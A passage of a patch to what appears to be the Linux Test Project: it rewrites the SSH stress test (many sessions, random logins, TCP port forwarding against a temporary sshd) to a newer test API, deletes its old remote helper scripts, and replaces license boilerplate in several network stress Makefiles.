-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
-# Ngie Cooper, October 2009
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
+# Ngie Cooper, July 2009
 
 top_srcdir		?= ../../../..
 
diff --git a/testcases/network/stress/ssh/ssh-stress.sh b/testcases/network/stress/ssh/ssh-stress.sh
index 516bce7..e7c4d45 100755
--- a/testcases/network/stress/ssh/ssh-stress.sh
+++ b/testcases/network/stress/ssh/ssh-stress.sh
@@ -1,147 +1,233 @@
 #!/bin/sh
-
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
 # Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved.
-# Copyright (c) International Business Machines  Corp., 2005
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write the Free Software Foundation,
-# Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-#
+# Copyright (c) International Business Machines Corp., 2005
 # Author: Mitsuru Chinen <mitch@jp.ibm.com>
-#
 
-TCID=ssh-stress
-TST_TOTAL=3
 TST_CLEANUP="cleanup"
+TST_SETUP="setup"
+TST_TESTFUNC="test"
+TST_CNT=3
+TST_NEEDS_ROOT=1
+TST_NEEDS_TMPDIR=1
+TST_NEEDS_CMDS="sshd ssh ssh-keygen od pkill pgrep"
 
-TST_USE_LEGACY_API=1
-. tst_net.sh
 
-# Temporary directory to store sshd setting or ssh key
-# Note: ssh doesn't work when those directory is under /tmp.
-TMPDIR="/root"
+# SSH config file on the remote host
+RHOST_SSH_CONF=
+# SSH command to connect from the remote host to the test host
+RHOST_SSH=
+# Processes started on the remote host, killed at cleanup
+RHOST_PIDS=
+# Netstress process started on the test host, killed at cleanup
+NETSTRESS_PID=
 
 cleanup()
 {
+	local pids
+
 	# Stop the ssh daemon
-	test -s sshd.pid && kill $(cat sshd.pid)
-	pkill 'netstress$'
-	tst_rmdir
-	[ "$rtmpdir" ] && tst_rhost_run -c "rm -rf $rtmpdir"
-	TMPDIR=
+	[ -s sshd.pid ] && kill $(cat sshd.pid)
+	[ -n "$NETSTRESS_PID" ] && kill -INT $NETSTRESS_PID >/dev/null 2>&1
+
+	[ -n "$RHOST_PIDS" ] && tst_rhost_run -c "kill $RHOST_PIDS" >/dev/null 2>&1
+
+	# Kill all remaining ssh processes
+	[ -n "$RHOST_SSH_CONF" ] && tst_rhost_run -c "pkill -f '^ssh $RHOST_SSH_CONF'"
 }
 
 setup()
 {
-	trap "tst_brkm TBROK 'test interrupted'" INT
+	local port rc
 
-	tst_require_root
-	tst_require_cmds pkill sshd ssh od
-
-	# Get the sshd command with absolute path
-	SSHD=$(which sshd)
-	test "$SSHD" || tst_brkm TBROK "sshd daemon is not found"
-
-	check_icmpv${TST_IPVER}_connectivity $(tst_iface) $(tst_ipaddr rhost) || \
-		tst_brkm TBROK "Failed to ping to $(tst_ipaddr rhost)"
 
 	port=$(tst_rhost_run -c "tst_get_unused_port ipv${TST_IPVER} stream")
 
-	tst_tmpdir
-
-	tmpdir=$TST_TMPDIR
-
-	cat << EOD > $tmpdir/sshd_config
+	cat << EOF > sshd_config
 Port $port
 ListenAddress $(tst_ipaddr)
 PermitRootLogin yes
-AuthorizedKeysFile $tmpdir/authorized_keys
+AuthorizedKeysFile $TST_TMPDIR/authorized_keys
 PasswordAuthentication no
 AllowTcpForwarding yes
 TCPKeepAlive yes
 UseDNS no
-PidFile $tmpdir/sshd.pid
-EOD
+StrictModes no
+PidFile $TST_TMPDIR/sshd.pid
+HostKey $TST_TMPDIR/ssh_host_rsa_key
+HostKey $TST_TMPDIR/ssh_host_ecdsa_key
+HostKey $TST_TMPDIR/ssh_host_ed25519_key
+EOF
 
-	$SSHD -f $tmpdir/sshd_config || \
-		tst_brkm TBROK "Failed to run sshd daemon"
+	ssh-keygen -q -N "" -t rsa -b 4096 -f $TST_TMPDIR/ssh_host_rsa_key
+	ssh-keygen -q -N "" -t ecdsa -f $TST_TMPDIR/ssh_host_ecdsa_key
+	ssh-keygen -q -N "" -t ed25519 -f $TST_TMPDIR/ssh_host_ed25519_key
 
-	tst_resm TINFO "Generate configuration file and key at the remote host"
-	rtmpdir=$(tst_rhost_run -c "mktemp -d -p $TMPDIR")
-	tst_rhost_run -s -c "ssh-keygen -t rsa -N \"\" -f $rtmpdir/id_rsa > /dev/null"
+	tst_res TINFO "Generate configuration file and key at the remote host"
+	tst_rhost_run -s -c "ssh-keygen -t rsa -N \"\" -f $TST_TMPDIR/id_rsa \
+		>/dev/null"
 
-	rconfig=$rtmpdir/ssh_config
+	RHOST_SSH_CONF=$TST_TMPDIR/ssh_config
 
 	tst_rhost_run -s -c "printf \"\
 Port $port\n\
 StrictHostKeyChecking no\n\
 PasswordAuthentication no\n\
-UserKnownHostsFile $rtmpdir/known_hosts\n\
-IdentityFile $rtmpdir/id_rsa\n\" > $rconfig"
+ExitOnForwardFailure yes\n\
+UserKnownHostsFile $TST_TMPDIR/known_hosts\n\
+IdentityFile $TST_TMPDIR/id_rsa\n\" > $RHOST_SSH_CONF"
 
-	tst_rhost_run -s -c "chmod 700 $rtmpdir; chmod 600 $rtmpdir/*"
+	tst_res TINFO "Generate authorized_keys"
+	tst_rhost_run -c "cat ${TST_TMPDIR}/id_rsa.pub" > authorized_keys
 
-	tst_resm TINFO "Generate authorized_keys"
-	tst_rhost_run -c "cat ${rtmpdir}/id_rsa.pub" > $tmpdir/authorized_keys
+	tst_res TINFO "restore context of authorized_keys"
+	rc=$(command -v restorecon)
+	[ -n "$rc" ] && $rc authorized_keys
 
-	tst_resm TINFO "restore context of authorized_keys"
-	local rc=$(which restorecon)
-	test "$rc" && $rc $tmpdir/authorized_keys
+	$(command -v sshd) -f $TST_TMPDIR/sshd_config || \
+		tst_brk TBROK "Failed to run sshd daemon"
 
-	chmod 700 $tmpdir
-	chmod 600 $tmpdir/*
+	RHOST_SSH="ssh -$TST_IPVER -F $RHOST_SSH_CONF $(tst_ipaddr)"
 }
 
-test01()
+test_ssh_connectivity()
 {
-	tst_resm TINFO "Creating '$CONNECTION_TOTAL' ssh sessions"
-
-	tst_rhost_run -s -c "ssh-stress01-rmt.sh $TST_IPVER $(tst_ipaddr) \
-		$rconfig $CONNECTION_TOTAL"
-
-	tst_resm TPASS "Test is finished successfully"
+	tst_rhost_run -c "$RHOST_SSH 'true >/dev/null 2>&1' >/dev/null"
+	[ $? -ne 0 ] && tst_brk TFAIL "SSH not reachable"
 }
 
-test02()
+test1()
 {
-	tst_resm TINFO "Log in/out by many clients asynchronously"
-	tst_resm TINFO "'$CONNECTION_TOTAL' clients, time $NS_DURATION sec"
+	local num all_conn pid
 
-	tst_rhost_run -s -c "ssh-stress02-rmt.sh $TST_IPVER $(tst_ipaddr) \
-		$rconfig $CONNECTION_TOTAL $NS_DURATION"
+	tst_res TINFO "Verify SSH connectivity over IPv$TST_IPVER is not broken after creating many SSH sessions"
 
-	tst_resm TPASS "Test is finished successfully"
+	test_ssh_connectivity
+
+	RHOST_PIDS=
+	num=0
+	while [ $num -lt $CONNECTION_TOTAL ]; do
+		pid=$(tst_rhost_run -c "$RHOST_SSH -N </dev/null 1>/dev/null 2>&1 \
+			& echo \$!")
+		RHOST_PIDS="$RHOST_PIDS $pid"
+		num=$(($num + 1))
+	done
+
+	tst_res TINFO "Killing all ssh sessions"
+	num=0
+	for pid in $RHOST_PIDS; do
+		tst_rhost_run -c "kill $pid" >/dev/null
+		[ $? -ne 0 ] && num=$((num + 1))
+	done
+
+	[ $num -ne 0 ] && tst_brk TFAIL "$num ssh processes died unexpectedly during execution"
+
+	test_ssh_connectivity
+
+	tst_res TPASS "Test finished successfully"
 }
 
-test03()
+test2()
 {
-	tst_resm TINFO "Forwarding TCP traffic with $NS_TIMES requests"
+	local start_epoc pids total_connections elapse_epoc new_pids
+	local ssh_num wait_sec login_sec
 
-	# Run a TCP traffic server
-	port=$(tst_get_unused_port ipv${TST_IPVER} stream)
+	tst_res TINFO "Verify SSH connectivity over IPv$TST_IPVER is not broken after logging in/out by many clients asynchronously"
 
-	netstress -R 3 -g $port > tcp_server.log 2>&1 &
+	test_ssh_connectivity
 
-	tst_rhost_run -s -c "ssh-stress03-rmt.sh $TST_IPVER $(tst_ipaddr) \
-		$rconfig $port $NS_TIMES"
+	start_epoc=$(date +%s)
+	RHOST_PIDS=
+	total_connections=0
+	while true; do
+		# Exit after the specified time has elapsed.
+		elapse_epoc=$(( $(date +%s) - $start_epoc))
+		[ $elapse_epoc -ge $NS_DURATION ] && break
 
-	tst_resm TPASS "Test is finished successfully"
+		new_pids=
+		for pid in $RHOST_PIDS; do
+			if tst_rhost_run -c "kill -0 $pid" >/dev/null; then
+				new_pids="$new_pids $pid"
+			fi
+		done
+		RHOST_PIDS="$new_pids"
+
+		# Do not make ssh connection over the specified quantity
+		ssh_num=$(echo "$pids" | wc -w)
+		if [ $ssh_num -ge $CONNECTION_TOTAL ]; then
+			tst_res TINFO "Max connections reached"
+			tst_sleep 1
+			continue
+		fi
+
+		# specified wait time and login time
+		wait_sec=$(( $(od -A n -d -N 1 /dev/urandom) * 3 / 255 ))
+		login_sec=$(( $(od -A n -d -N 1 /dev/urandom) * 10 / 255 ))
+
+		# Login to the server
+		pid=$(tst_rhost_run -c "( \
+			  sleep $wait_sec && $RHOST_SSH -l root \"sleep $login_sec\" \
+			) </dev/null 1>/dev/null 2>&1 & echo \$!"
+		)
+		RHOST_PIDS="$RHOST_PIDS $pid"
+		total_connections=$(( total_connections + 1 ))
+	done
+
+	tst_res TINFO "Waiting for all connections to terminate"
+	while [ -n "$RHOST_PIDS" ]; do
+		tst_sleep 1
+		new_pids=
+		for pid in $RHOST_PIDS; do
+			if tst_rhost_run -c "kill -0 $pid" >/dev/null 2>&1; then
+				new_pids="$new_pids $pid"
+			fi
+		done
+		RHOST_PIDS="$new_pids"
+	done
+
+	test_ssh_connectivity
+
+	tst_res TPASS "Test finished successfully ($total_connections connections)"
 }
 
-setup
+test3()
+{
+	local port lport localhost rhost ret
+	tst_res TINFO "Verify SSH connectivity over IPv$TST_IPVER is not broken after forwarding TCP traffic"
 
-test01
-test02
-test03
+	localhost="127.0.0.1"
+	rhost="$(tst_ipaddr)"
+	if [ "$TST_IPVER" = "6" ]; then
+		localhost="::1"
+		rhost="[$(tst_ipaddr)]"
+	fi
 
-tst_exit
+	test_ssh_connectivity
+
+	# Get an ssh forwarding port
+	lport=$(tst_rhost_run -c "tst_get_unused_port ipv${TST_IPVER} stream")
+
+	# Start a tcp server
+	netstress -R 3 -B $TST_TMPDIR >/dev/null 2>&1
+	[ $? -ne 0 ] && tst_brk TBROK "Unable to start netstress server"
+	NETSTRESS_PID=$(pgrep -f "^netstress .*$TST_TMPDIR")
+	port=$(cat netstress_port)
+
+	# Setup an ssh tunnel from the remote host to testhost
+	tst_rhost_run -c "$RHOST_SSH -f -N -L $lport:$rhost:$port </dev/null >/dev/null 2>&1"
+	[ "$?" -ne 0 ] && tst_brk TFAIL "Failed to create an SSH session with port forwarding"
+	RHOST_PIDS=$(tst_rhost_run -c "pgrep -f '^ssh .*$lport:$rhost:$port'")
+
+	# Start the TCP traffic clients
+	tst_rhost_run -s -c "netstress -r $NS_TIMES -l -H $localhost -g $lport > /dev/null"
+
+	tst_rhost_run -c "kill $RHOST_PIDS >/dev/null 2>&1"
+
+	test_ssh_connectivity
+
+	tst_res TPASS "Test finished successfully"
+}
+
+. tst_net.sh
+tst_run
diff --git a/testcases/network/stress/ssh/ssh-stress01-rmt.sh b/testcases/network/stress/ssh/ssh-stress01-rmt.sh
deleted file mode 100755
index b2f6579..0000000
--- a/testcases/network/stress/ssh/ssh-stress01-rmt.sh
+++ /dev/null
@@ -1,65 +0,0 @@
-#!/bin/sh
-
-# Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved.
-# Copyright (c) International Business Machines  Corp., 2005
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write the Free Software Foundation,
-# Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-#
-# Author: Mitsuru Chinen <mitch@jp.ibm.com>
-#
-
-TCID="ssh_stress01_rmt"
-TST_TOTAL=1
-
-. test.sh
-
-if [ $# -ne 4 ]; then
-	tst_brkm TBROK "Usage: $0 ipver rhost config connections"
-fi
-
-ip_ver="$1"
-server_ipaddr="$2"
-ssh_config="$3"
-connections="$4"
-
-ssh -$ip_ver -F $ssh_config $server_ipaddr \
-	"true < /dev/null > /dev/null 2>&1" > /dev/null
-
-[ $? -ne 0 ] && tst_brkm TBROK "Can't connect to '$server_ipaddr'"
-
-# Make ssh connections
-num=0
-while [ $num -lt $connections ]; do
-	ssh -$ip_ver -f -N -F $ssh_config $server_ipaddr
-	if [ $? -ne 0 ]; then
-		tst_resm TINFO "'$num' seems the max num of ssh conn"
-		break
-	fi
-	num=$(($num + 1))
-done
-
-# Disconnect all ssh connection
-all_conn=$(ps auxw | grep -Fv grep | \
-	grep "ssh[[:blank:]].*${ssh_config}" | awk '{print $2}')
-kill $all_conn
-
-# Check the connectivity again
-ssh -$ip_ver -F $ssh_config $server_ipaddr \
-	"true < /dev/null > /dev/null 2>&1" > /dev/null
-if [ $? -ne 0 ]; then
-	tst_brkm TBROK "Failed to connect $server_ipaddr"
-fi
-
-tst_exit
diff --git a/testcases/network/stress/ssh/ssh-stress02-rmt.sh b/testcases/network/stress/ssh/ssh-stress02-rmt.sh
deleted file mode 100755
index 05f4c38..0000000
--- a/testcases/network/stress/ssh/ssh-stress02-rmt.sh
+++ /dev/null
@@ -1,76 +0,0 @@
-#!/bin/sh
-
-# Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved.
-# Copyright (c) International Business Machines  Corp., 2005
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write the Free Software Foundation,
-# Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-#
-# Author: Mitsuru Chinen <mitch@jp.ibm.com>
-#
-
-TCID="ssh_stress02_rmt"
-TST_TOTAL=1
-
-. test.sh
-
-# Check the arguments
-if [ $# -ne 5 ]; then
-	tst_brkm TBROK "Usage: $0 ipver rhost config connections duration"
-fi
-
-ip_ver="$1"
-server_ipaddr="$2"
-ssh_config="$3"
-connections="$4"
-duration="$5"
-
-ssh -$ip_ver -F $ssh_config $server_ipaddr \
-	"true < /dev/null > /dev/null 2>&1" > /dev/null
-[ $? -ne 0 ] && tst_brkm TBROK "Failed to connect '$server_ipaddr'"
-
-start_epoc=$(date +%s)
-while true ; do
-	# Exit when the specified seconds have passed.
-	current_epoc=$(date +%s)
-	elapse_epoc=$(($current_epoc - $start_epoc))
-
-	[ $elapse_epoc -ge $duration ] && break
-
-	# Do not make ssh connection over the specified quantity
-	ssh_num=$(jobs | wc -l)
-	if [ $ssh_num -ge $connections ]; then
-		sleep 1
-		continue;
-	fi
-
-	# specified wait time and login time
-	wait_sec=$(($(od -A n -d -N 1 /dev/random) * 3 / 255))
-	login_sec=$(($(od -A n -d -N 1 /dev/random) * 10 / 255))
-
-	# Login to the server
-	(sleep $wait_sec ; ssh -$ip_ver -F $ssh_config -l root $server_ipaddr \
-		"sleep $login_sec < /dev/null > /dev/null 2>&1") > \
-		/dev/null 2>&1 &
-done
-
-# wait for the finish of all process
-wait
-
-# Check the connectivity again
-ssh -$ip_ver -F $ssh_config $server_ipaddr \
-	"true < /dev/null > /dev/null 2>&1" > /dev/null
-[ $? -ne 0 ] && tst_brkm TBROK "Failed to connect '$server_ipaddr'"
-
-tst_exit
diff --git a/testcases/network/stress/ssh/ssh-stress03-rmt.sh b/testcases/network/stress/ssh/ssh-stress03-rmt.sh
deleted file mode 100755
index da1abeb..0000000
--- a/testcases/network/stress/ssh/ssh-stress03-rmt.sh
+++ /dev/null
@@ -1,77 +0,0 @@
-#!/bin/sh
-
-# Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved.
-# Copyright (c) International Business Machines  Corp., 2005
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write the Free Software Foundation,
-# Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-#
-# Author: Mitsuru Chinen <mitch@jp.ibm.com>
-#
-
-TCID="ssh_stress03_rmt"
-TST_TOTAL=1
-
-. test.sh
-
-# Check the arguments
-if [ $# -ne 5 ]; then
-	tst_brkm TBROK "Usage: $0 ipver rhost config port requests"
-fi
-
-ip_ver="$1"
-server_ipaddr="$2"
-ssh_config="$3"
-rport="$4"
-requests="$5"
-
-ssh -$ip_ver -F $ssh_config $server_ipaddr \
-	"true < /dev/null > /dev/null 2>&1" > /dev/null
-[ $? -ne 0 ] && tst_brkm TBROK "Failed to connect '$server_ipaddr'"
-
-lport=$(tst_get_unused_port ipv${ip_ver} stream)
-
-# Set the ssh port-forwarding
-case $ip_ver in
-4)
-	localhost="127.0.0.1"
-	ssh -4 -f -N -L $lport:$server_ipaddr:$rport \
-		root@$server_ipaddr -F $ssh_config
-;;
-6)
-	localhost="::1"
-	ssh -6 -f -N -L $lport:[$server_ipaddr]:$rport \
-		root@$server_ipaddr -F $ssh_config
-;;
-esac
-
-# Start the TCP traffic clients
-netstress -r $requests -l -H $localhost -g $lport > /dev/null
-ret=$?
-
-# Stop the ssh port forwarding
-all_conn=$(ps auxw | grep -Fv grep | \
-	grep "ssh[[:blank:]].*${ssh_config}" | awk '{print $2}')
-for ssh_pid in $all_conn ; do
-	kill $ssh_pid
-done
-
-[ $ret -ne 0 ] && tst_brkm TBROK "TCP traffic client is dead"
-
-# Check the connectivity again
-ssh -$ip_ver -F $ssh_config $server_ipaddr \
-	"true < /dev/null > /dev/null 2>&1" > /dev/null
-[ $? -ne 0 ] && tst_brkm TBROK "Failed to connect '$server_ipaddr'"
-
-tst_exit
diff --git a/testcases/network/stress/tcp/Makefile b/testcases/network/stress/tcp/Makefile
index a2511fc..46d3353 100644
--- a/testcases/network/stress/tcp/Makefile
+++ b/testcases/network/stress/tcp/Makefile
@@ -1,24 +1,6 @@
-#
-#    testcases/network/stress/tcp Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, October 2009
-#
 
 top_srcdir		?= ../../../..
 
diff --git a/testcases/network/stress/tcp/multi-diffip/Makefile b/testcases/network/stress/tcp/multi-diffip/Makefile
index ccf5863..727b2cc 100644
--- a/testcases/network/stress/tcp/multi-diffip/Makefile
+++ b/testcases/network/stress/tcp/multi-diffip/Makefile
@@ -26,6 +26,4 @@
 
 INSTALL_TARGETS		:= tcp*
 
-MAKE_TARGETS		:=
-
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/stress/tcp/multi-diffnic/Makefile b/testcases/network/stress/tcp/multi-diffnic/Makefile
index b0894ac..9365628 100644
--- a/testcases/network/stress/tcp/multi-diffnic/Makefile
+++ b/testcases/network/stress/tcp/multi-diffnic/Makefile
@@ -26,6 +26,4 @@
 
 INSTALL_TARGETS		:= tcp*
 
-MAKE_TARGETS		:=
-
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/stress/tcp/multi-diffport/Makefile b/testcases/network/stress/tcp/multi-diffport/Makefile
index cfd5085..4f1b77b 100644
--- a/testcases/network/stress/tcp/multi-diffport/Makefile
+++ b/testcases/network/stress/tcp/multi-diffport/Makefile
@@ -26,6 +26,4 @@
 
 INSTALL_TARGETS		:= tcp*
 
-MAKE_TARGETS		:=
-
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/stress/tcp/multi-sameport/Makefile b/testcases/network/stress/tcp/multi-sameport/Makefile
index dd6f269..be2472f 100644
--- a/testcases/network/stress/tcp/multi-sameport/Makefile
+++ b/testcases/network/stress/tcp/multi-sameport/Makefile
@@ -26,6 +26,4 @@
 
 INSTALL_TARGETS		:= tcp*
 
-MAKE_TARGETS		:=
-
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/stress/tcp/tcp_ipsec.sh b/testcases/network/stress/tcp/tcp_ipsec.sh
index 5c46703..1266227 100755
--- a/testcases/network/stress/tcp/tcp_ipsec.sh
+++ b/testcases/network/stress/tcp/tcp_ipsec.sh
@@ -1,6 +1,6 @@
 #!/bin/sh
 # SPDX-License-Identifier: GPL-2.0-or-later
-# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2018-2022 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2017 Oracle and/or its affiliates. All Rights Reserved.
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
 
@@ -8,7 +8,6 @@
 TST_TESTFUNC=do_test
 TST_SETUP=tst_ipsec_setup
 TST_CLEANUP=tst_ipsec_cleanup
-. ipsec_lib.sh
 
 max_requests=10
 
@@ -22,4 +21,5 @@
 		-R $max_requests
 }
 
+. ipsec_lib.sh
 tst_run
diff --git a/testcases/network/stress/tcp/tcp_ipsec_vti.sh b/testcases/network/stress/tcp/tcp_ipsec_vti.sh
index 41ab1ca..925011a 100755
--- a/testcases/network/stress/tcp/tcp_ipsec_vti.sh
+++ b/testcases/network/stress/tcp/tcp_ipsec_vti.sh
@@ -1,6 +1,6 @@
 #!/bin/sh
 # SPDX-License-Identifier: GPL-2.0-or-later
-# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2018-2022 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2017 Oracle and/or its affiliates. All Rights Reserved.
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
 
@@ -8,7 +8,6 @@
 TST_TESTFUNC=do_test
 TST_SETUP=tst_ipsec_setup_vti
 TST_CLEANUP=tst_ipsec_cleanup
-. ipsec_lib.sh
 
 max_requests=10
 
@@ -22,4 +21,5 @@
 		    -R $max_requests -D $tst_vti
 }
 
+. ipsec_lib.sh
 tst_run
diff --git a/testcases/network/stress/tcp/uni-basic/Makefile b/testcases/network/stress/tcp/uni-basic/Makefile
index 310e8f0..f5e6920 100644
--- a/testcases/network/stress/tcp/uni-basic/Makefile
+++ b/testcases/network/stress/tcp/uni-basic/Makefile
@@ -26,6 +26,4 @@
 
 INSTALL_TARGETS		:= tcp*
 
-MAKE_TARGETS		:=
-
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/stress/tcp/uni-dsackoff/Makefile b/testcases/network/stress/tcp/uni-dsackoff/Makefile
index 4b858b1..f8fe935 100644
--- a/testcases/network/stress/tcp/uni-dsackoff/Makefile
+++ b/testcases/network/stress/tcp/uni-dsackoff/Makefile
@@ -26,6 +26,4 @@
 
 INSTALL_TARGETS		:= tcp*
 
-MAKE_TARGETS		:=
-
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/stress/tcp/uni-pktlossdup/Makefile b/testcases/network/stress/tcp/uni-pktlossdup/Makefile
index d6511f7..10525cf 100644
--- a/testcases/network/stress/tcp/uni-pktlossdup/Makefile
+++ b/testcases/network/stress/tcp/uni-pktlossdup/Makefile
@@ -26,6 +26,4 @@
 
 INSTALL_TARGETS		:= tcp*
 
-MAKE_TARGETS		:=
-
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/stress/tcp/uni-sackoff/Makefile b/testcases/network/stress/tcp/uni-sackoff/Makefile
index ef469d6..0d87358 100644
--- a/testcases/network/stress/tcp/uni-sackoff/Makefile
+++ b/testcases/network/stress/tcp/uni-sackoff/Makefile
@@ -26,6 +26,4 @@
 
 INSTALL_TARGETS		:= tcp*
 
-MAKE_TARGETS		:=
-
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/stress/tcp/uni-smallsend/Makefile b/testcases/network/stress/tcp/uni-smallsend/Makefile
index ba5fbbb..de4bb0c 100644
--- a/testcases/network/stress/tcp/uni-smallsend/Makefile
+++ b/testcases/network/stress/tcp/uni-smallsend/Makefile
@@ -26,6 +26,4 @@
 
 INSTALL_TARGETS		:= tcp*
 
-MAKE_TARGETS		:=
-
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/stress/tcp/uni-tso/Makefile b/testcases/network/stress/tcp/uni-tso/Makefile
index 7aafd16..cd70ed2 100644
--- a/testcases/network/stress/tcp/uni-tso/Makefile
+++ b/testcases/network/stress/tcp/uni-tso/Makefile
@@ -26,6 +26,4 @@
 
 INSTALL_TARGETS		:= tcp*
 
-MAKE_TARGETS		:=
-
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/stress/tcp/uni-winscale/Makefile b/testcases/network/stress/tcp/uni-winscale/Makefile
index 8958486..b29a4b2 100644
--- a/testcases/network/stress/tcp/uni-winscale/Makefile
+++ b/testcases/network/stress/tcp/uni-winscale/Makefile
@@ -26,6 +26,5 @@
 
 INSTALL_TARGETS		:= tcp*
 
-MAKE_TARGETS		:=
 
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/stress/udp/Makefile b/testcases/network/stress/udp/Makefile
index 5aa62fa..cdd4fb4 100644
--- a/testcases/network/stress/udp/Makefile
+++ b/testcases/network/stress/udp/Makefile
@@ -1,24 +1,6 @@
-#
-#    testcases/network/stress/udp Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, October 2009
-#
 
 top_srcdir		?= ../../../..
 
diff --git a/testcases/network/stress/udp/multi-diffip/Makefile b/testcases/network/stress/udp/multi-diffip/Makefile
index 6547040..2592c71 100644
--- a/testcases/network/stress/udp/multi-diffip/Makefile
+++ b/testcases/network/stress/udp/multi-diffip/Makefile
@@ -26,6 +26,4 @@
 
 INSTALL_TARGETS		:= udp*
 
-MAKE_TARGETS		:=
-
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/stress/udp/multi-diffnic/00_Descriptions.txt b/testcases/network/stress/udp/multi-diffnic/00_Descriptions.txt
index b07e89c..cf39ea0 100644
--- a/testcases/network/stress/udp/multi-diffnic/00_Descriptions.txt
+++ b/testcases/network/stress/udp/multi-diffnic/00_Descriptions.txt
@@ -1,5 +1,5 @@
 Verify that the kernel is not crashed with receiving and sending UDP datagram
-at the differnt NICs with the following conditions
+at the different NICs with the following conditions
 
 udp4-multi-diffnic01
 	IPv4
diff --git a/testcases/network/stress/udp/multi-diffnic/Makefile b/testcases/network/stress/udp/multi-diffnic/Makefile
index d542555..5bc2107 100644
--- a/testcases/network/stress/udp/multi-diffnic/Makefile
+++ b/testcases/network/stress/udp/multi-diffnic/Makefile
@@ -26,6 +26,4 @@
 
 INSTALL_TARGETS		:= udp*
 
